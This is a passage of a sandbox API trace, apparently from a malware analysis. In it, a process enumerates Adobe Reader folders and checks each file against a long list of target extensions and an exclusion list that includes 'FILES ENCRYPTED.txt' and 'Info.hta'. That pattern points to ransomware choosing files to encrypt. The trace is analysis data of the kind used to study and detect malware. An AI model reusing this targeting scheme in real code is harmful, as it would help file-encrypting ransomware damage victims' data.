-1 [0275.719] lstrlenW (lpString=".cf") returned 3 [0275.719] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0275.719] lstrlenW (lpString=".cfc") returned 4 [0275.719] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0275.719] lstrlenW (lpString=".cfm") returned 4 [0275.719] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0275.719] lstrlenW (lpString=".cfml") returned 5 [0275.719] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0275.719] lstrlenW (lpString=".cfu") returned 4 [0275.719] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0275.719] lstrlenW (lpString=".chm") returned 4 [0275.719] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0275.719] lstrlenW (lpString=".cin") returned 4 [0275.719] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0275.719] lstrlenW (lpString=".class") returned 6 [0275.719] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0275.720] lstrlenW (lpString=".clx") returned 4 [0275.720] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0275.720] lstrlenW (lpString=".config") returned 7 [0275.720] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0275.720] lstrlenW (lpString=".cpp") returned 4 [0275.720] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0275.720] lstrlenW (lpString=".cr2") returned 4 [0275.720] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0275.720] lstrlenW (lpString=".crt") returned 4 [0275.720] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0275.720] lstrlenW (lpString=".crw") returned 4 [0275.720] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0275.720] lstrlenW (lpString=".cs") returned 3 [0275.720] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0275.720] lstrlenW (lpString=".css") returned 4 [0275.720] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0275.720] lstrlenW (lpString=".csv") returned 4 [0275.720] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0275.720] lstrlenW (lpString=".cub") returned 4 [0275.720] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0275.720] lstrlenW (lpString=".dae") returned 4 [0275.720] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0275.720] lstrlenW (lpString=".dat") returned 4 [0275.720] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0275.720] lstrlenW (lpString=".db") returned 3 [0275.720] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0275.720] lstrlenW (lpString=".dbf") returned 4 [0275.721] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0275.721] lstrlenW (lpString=".dbx") returned 4 [0275.721] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0275.721] lstrlenW (lpString=".dc3") returned 4 [0275.721] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0275.721] lstrlenW (lpString=".dcm") returned 4 [0275.721] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0275.721] lstrlenW (lpString=".dcr") returned 4 [0275.721] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0275.721] lstrlenW (lpString=".der") returned 4 [0275.721] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0275.721] lstrlenW (lpString=".dib") returned 4 [0275.721] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0275.721] lstrlenW (lpString=".dic") returned 4 [0275.721] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0275.721] lstrlenW (lpString=".dif") returned 4 [0275.721] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0275.721] lstrlenW (lpString=".divx") returned 5 [0275.721] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0275.721] lstrlenW (lpString=".djvu") returned 5 [0275.721] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0275.721] lstrlenW (lpString=".dng") returned 4 [0275.721] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0275.721] lstrlenW (lpString=".doc") returned 4 [0275.721] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0275.721] lstrlenW (lpString=".docm") returned 5 [0275.722] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0275.722] lstrlenW (lpString=".docx") returned 5 [0275.722] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0275.722] lstrlenW (lpString=".dot") returned 4 [0275.722] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0275.722] lstrlenW (lpString=".dotm") returned 5 [0275.722] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0275.722] lstrlenW (lpString=".dotx") returned 5 [0275.722] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0275.722] lstrlenW (lpString=".dpx") returned 4 [0275.722] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0275.722] lstrlenW (lpString=".dqy") returned 4 [0275.722] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0275.722] lstrlenW (lpString=".dsn") returned 4 [0275.722] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0275.722] lstrlenW (lpString=".dt") returned 3 [0275.722] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0275.722] lstrlenW (lpString=".dtd") returned 4 [0275.722] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0275.722] lstrlenW (lpString=".dwg") returned 4 [0275.722] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0275.722] lstrlenW (lpString=".dwt") returned 4 [0275.722] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0275.722] lstrlenW (lpString=".dx") returned 3 [0275.722] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0275.722] lstrlenW (lpString=".dxf") returned 4 [0275.723] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0275.723] lstrlenW (lpString=".edml") returned 5 [0275.723] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0275.723] lstrlenW (lpString=".efd") returned 4 [0275.723] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0275.723] lstrlenW (lpString=".elf") returned 4 [0275.723] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0275.723] lstrlenW (lpString=".emf") returned 4 [0275.723] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0275.723] lstrlenW (lpString=".emz") returned 4 [0275.723] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0275.723] lstrlenW (lpString=".epf") returned 4 [0275.723] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0275.723] lstrlenW (lpString=".eps") returned 4 [0275.723] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0275.723] lstrlenW (lpString=".epsf") returned 5 [0275.723] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0275.723] lstrlenW (lpString=".epsp") returned 5 [0275.723] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0275.723] lstrlenW (lpString=".erf") returned 4 [0275.723] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0275.723] lstrlenW (lpString=".exr") returned 4 [0275.723] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0275.723] lstrlenW (lpString=".f4v") returned 4 [0275.723] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0275.723] lstrlenW (lpString=".fido") returned 5 [0275.723] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0275.724] lstrlenW (lpString=".flm") returned 4 [0275.724] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0275.724] lstrlenW (lpString=".flv") returned 4 [0275.724] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0275.724] lstrlenW (lpString=".frm") returned 4 [0275.724] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0275.724] lstrlenW (lpString=".fxg") returned 4 [0275.724] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0275.724] lstrlenW (lpString=".geo") returned 4 [0275.724] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0275.724] lstrlenW (lpString=".gif") returned 4 [0275.724] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0275.724] lstrlenW (lpString=".grs") returned 4 [0275.724] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0275.724] lstrlenW (lpString=".gz") returned 3 [0275.724] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0275.724] lstrlenW (lpString=".h") returned 2 [0275.724] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0275.724] lstrlenW (lpString=".hdr") returned 4 [0275.724] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0275.724] lstrlenW (lpString=".hpp") returned 4 [0275.724] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0275.724] lstrlenW (lpString=".hta") returned 4 [0275.724] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0275.724] lstrlenW (lpString=".htc") returned 4 [0275.724] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0275.724] lstrlenW (lpString=".htm") returned 4 [0275.725] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0275.725] lstrlenW (lpString=".html") returned 5 [0275.725] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0275.725] lstrlenW (lpString=".icb") returned 4 [0275.725] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0275.725] lstrlenW (lpString=".ics") returned 4 [0275.725] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0275.725] lstrlenW (lpString=".iff") returned 4 [0275.725] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0275.725] lstrlenW (lpString=".inc") returned 4 [0275.725] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0275.725] lstrlenW (lpString=".indd") returned 5 [0275.725] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0275.725] lstrlenW (lpString=".ini") returned 4 [0275.725] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0275.725] lstrlenW (lpString=".iqy") returned 4 [0275.725] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0275.725] lstrlenW (lpString=".j2c") returned 4 [0275.725] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0275.725] lstrlenW (lpString=".j2k") returned 4 [0275.725] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0275.725] lstrlenW (lpString=".java") returned 5 [0275.725] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0275.725] lstrlenW (lpString=".jp2") returned 4 [0275.725] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0275.725] lstrlenW (lpString=".jpc") returned 4 [0275.725] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0275.725] lstrlenW (lpString=".jpe") returned 4 [0275.726] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0275.726] lstrlenW (lpString=".jpeg") returned 5 [0275.726] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0275.726] lstrlenW (lpString=".jpf") returned 4 [0275.726] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0275.726] lstrlenW (lpString=".jpg") returned 4 [0275.726] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0275.726] lstrlenW (lpString=".jpx") returned 4 [0275.726] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0275.726] lstrlenW (lpString=".js") returned 3 [0275.726] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0275.726] lstrlenW (lpString="ui-strings.js") returned 13 [0275.726] lstrlenW (lpString=".love$") returned 6 [0275.726] lstrcmpiW (lpString1=".love$", lpString2="ngs.js") returned -1 [0275.726] lstrlenW (lpString="ui-strings.js") returned 13 [0275.726] lstrcmpiW (lpString1="boot.ini", lpString2="ui-strings.js") returned -1 [0275.726] lstrcmpiW (lpString1="bootfont.bin", lpString2="ui-strings.js") returned -1 [0275.726] lstrcmpiW (lpString1="ntldr", lpString2="ui-strings.js") returned -1 [0275.726] lstrcmpiW (lpString1="ntdetect.com", lpString2="ui-strings.js") returned -1 [0275.726] lstrcmpiW (lpString1="io.sys", lpString2="ui-strings.js") returned -1 [0275.726] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="ui-strings.js") returned -1 [0275.726] lstrcmpiW (lpString1="Info.hta", lpString2="ui-strings.js") returned -1 [0275.726] lstrcmpiW (lpString1="finbbp.exe", lpString2="ui-strings.js") returned -1 [0275.726] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\it-it\\ui-strings.js") returned 127 [0275.726] FindNextFileW (in: hFindFile=0x33158b0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xba21, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0275.727] FindClose (in: hFindFile=0x33158b0 | out: hFindFile=0x33158b0) returned 1 [0275.727] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x5071060 | out: hHeap=0x670000) returned 1 [0275.727] FindNextFileW (in: hFindFile=0x33158f0, lpFindFileData=0x2e8df28 | out: lpFindFileData=0x2e8df28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0276.106] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp") returned 113 [0276.106] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp") returned 1 [0276.106] lstrlenW (lpString="ja-jp") returned 5 [0276.106] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="ja-jp") returned -1 [0276.106] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4235db0 [0276.106] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp") returned 113 [0276.106] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\aicuc\\js\\nls\\ja-jp\\*", lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x33157f0 [0276.110] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefdfa6fb, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefdfa6fb, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0276.110] FindNextFileW (in: hFindFile=0x33157f0, lpFindFileData=0x2e8dcac | out: lpFindFileData=0x2e8dcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe20919, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xefe20919, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xefe20919, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0xda52, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0276.111] lstrlenW (lpString="ui-strings.js") returned 13 [0276.111] lstrlenW (lpString=".1cd") returned 4 [0276.111] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0276.111] lstrlenW (lpString=".3ds") returned 4 [0276.111] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0276.111] lstrlenW (lpString=".3fr") returned 4 [0276.111] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0276.111] lstrlenW (lpString=".3g2") returned 4 [0276.111] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0276.111] lstrlenW (lpString=".3gp") returned 4 [0276.111] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0276.111] lstrlenW (lpString=".7z") returned 3 [0276.111] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0276.111] lstrlenW (lpString=".accda") returned 6 [0276.111] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0276.112] lstrlenW (lpString=".accdb") returned 6 [0276.112] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0276.112] lstrlenW (lpString=".accdc") returned 6 [0276.112] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0276.112] lstrlenW (lpString=".accde") returned 6 [0276.112] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0276.112] lstrlenW (lpString=".accdt") returned 6 [0276.112] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0276.112] lstrlenW (lpString=".accdw") returned 6 [0276.112] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0276.112] lstrlenW (lpString=".adb") returned 4 [0276.112] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0276.112] lstrlenW (lpString=".adp") returned 4 [0276.112] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0276.112] lstrlenW (lpString=".ai") returned 3 [0276.112] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0276.112] lstrlenW (lpString=".ai3") returned 4 [0276.112] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0276.113] lstrlenW (lpString=".ai4") returned 4 [0276.113] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0276.113] lstrlenW (lpString=".ai5") returned 4 [0276.113] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0276.113] lstrlenW (lpString=".ai6") returned 4 [0276.113] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0276.113] lstrlenW (lpString=".ai7") returned 4 [0276.113] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0276.113] lstrlenW (lpString=".ai8") returned 4 [0276.113] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0276.113] lstrlenW (lpString=".anim") returned 5 [0276.113] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0276.113] lstrlenW (lpString=".arw") returned 4 [0276.113] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0276.113] lstrlenW (lpString=".as") returned 3 [0276.113] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0276.113] lstrlenW (lpString=".asa") returned 4 [0276.113] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0276.113] lstrlenW (lpString=".asc") returned 4 [0276.113] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0276.113] lstrlenW (lpString=".ascx") returned 5 [0276.113] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0276.113] lstrlenW (lpString=".asm") returned 4 [0276.113] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0276.113] lstrlenW (lpString=".asmx") returned 5 [0276.113] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0276.113] lstrlenW (lpString=".asp") returned 4 [0276.114] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0276.114] lstrlenW (lpString=".aspx") returned 5 [0276.114] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0276.114] lstrlenW (lpString=".asr") returned 4 [0276.114] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0276.114] lstrlenW (lpString=".asx") returned 4 [0276.114] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0276.114] lstrlenW (lpString=".avi") returned 4 [0276.114] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0276.114] lstrlenW (lpString=".avs") returned 4 [0276.114] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0276.114] lstrlenW (lpString=".backup") returned 7 [0276.114] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0276.114] lstrlenW (lpString=".bak") returned 4 [0276.114] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0276.114] lstrlenW (lpString=".bay") returned 4 [0276.114] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0276.114] lstrlenW (lpString=".bd") returned 3 [0276.114] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0276.114] lstrlenW (lpString=".bin") returned 4 [0276.114] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0276.114] lstrlenW (lpString=".bmp") returned 4 [0276.114] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0276.114] lstrlenW (lpString=".bz2") returned 4 [0276.114] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0276.114] lstrlenW (lpString=".c") returned 2 [0276.114] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0276.115] lstrlenW (lpString=".cdr") returned 4 [0276.115] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0276.115] lstrlenW (lpString=".cer") returned 4 [0276.115] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0276.115] lstrlenW (lpString=".cf") returned 3 [0276.115] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0276.115] lstrlenW (lpString=".cfc") returned 4 [0276.115] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0276.115] lstrlenW (lpString=".cfm") returned 4 [0276.115] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0276.115] lstrlenW (lpString=".cfml") returned 5 [0276.115] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0276.115] lstrlenW (lpString=".cfu") returned 4 [0276.115] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0276.115] lstrlenW (lpString=".chm") returned 4 [0276.115] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0276.115] lstrlenW (lpString=".cin") returned 4 [0276.115] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0276.115] lstrlenW (lpString=".class") returned 6 [0276.115] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0276.115] lstrlenW (lpString=".clx") returned 4 [0276.115] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0276.116] lstrlenW (lpString=".config") returned 7 [0276.116] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0276.116] lstrlenW (lpString=".cpp") returned 4 [0276.116] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0276.116] lstrlenW (lpString=".cr2") returned 4 [0276.116] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0276.116] lstrlenW (lpString=".crt") returned 4 [0276.116] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0276.116] lstrlenW (lpString=".crw") returned 4 [0276.116] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0276.116] lstrlenW (lpString=".cs") returned 3 [0276.116] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0276.116] lstrlenW (lpString=".css") returned 4 [0276.116] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0276.116] lstrlenW (lpString=".csv") returned 4 [0276.116] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0276.116] lstrlenW (lpString=".cub") returned 4 [0276.116] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0276.116] lstrlenW (lpString=".dae") returned 4 [0276.116] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0276.116] lstrlenW (lpString=".dat") returned 4 [0276.116] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0276.116] lstrlenW (lpString=".db") returned 3 [0276.116] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0276.117] lstrlenW (lpString=".dbf") returned 4 [0276.117] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0276.117] lstrlenW (lpString=".dbx") returned 4 [0276.117] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0276.117] lstrlenW (lpString=".dc3") returned 4 [0276.117] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0276.117] lstrlenW (lpString=".dcm") returned 4 [0276.117] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0276.117] lstrlenW (lpString=".dcr") returned 4 [0276.117] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0276.117] lstrlenW (lpString=".der") returned 4 [0276.117] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0276.117] lstrlenW (lpString=".dib") returned 4 [0276.117] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0276.117] lstrlenW (lpString=".dic") returned 4 [0276.117] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0276.117] lstrlenW (lpString=".dif") returned 4 [0276.117] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0276.117] lstrlenW (lpString=".divx") returned 5 [0276.117] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0276.117] lstrlenW (lpString=".djvu") returned 5 [0276.117] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0276.117] lstrlenW (lpString=".dng") returned 4 [0276.117] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0276.117] lstrlenW (lpString=".doc") returned 4 [0276.117] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0276.118] lstrlenW (lpString=".docm") returned 5 [0276.118] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0276.118] lstrlenW (lpString=".docx") returned 5 [0276.118] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0276.118] lstrlenW (lpString=".dot") returned 4 [0276.118] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0276.118] lstrlenW (lpString=".dotm") returned 5 [0276.118] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0276.118] lstrlenW (lpString=".dotx") returned 5 [0276.118] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0276.118] lstrlenW (lpString=".dpx") returned 4 [0276.118] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0276.118] lstrlenW (lpString=".dqy") returned 4 [0276.118] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0276.118] lstrlenW (lpString=".dsn") returned 4 [0276.118] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0276.118] lstrlenW (lpString=".dt") returned 3 [0276.118] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0276.118] lstrlenW (lpString=".dtd") returned 4 [0276.118] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0276.118] lstrlenW (lpString=".dwg") returned 4 [0276.118] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0276.118] lstrlenW (lpString=".dwt") returned 4 [0276.118] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0276.118] lstrlenW (lpString=".dx") returned 3 [0276.118] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0276.119] lstrlenW (lpString=".dxf") returned 4 [0276.119] lstrcmpiW (lpString1=".dxf", 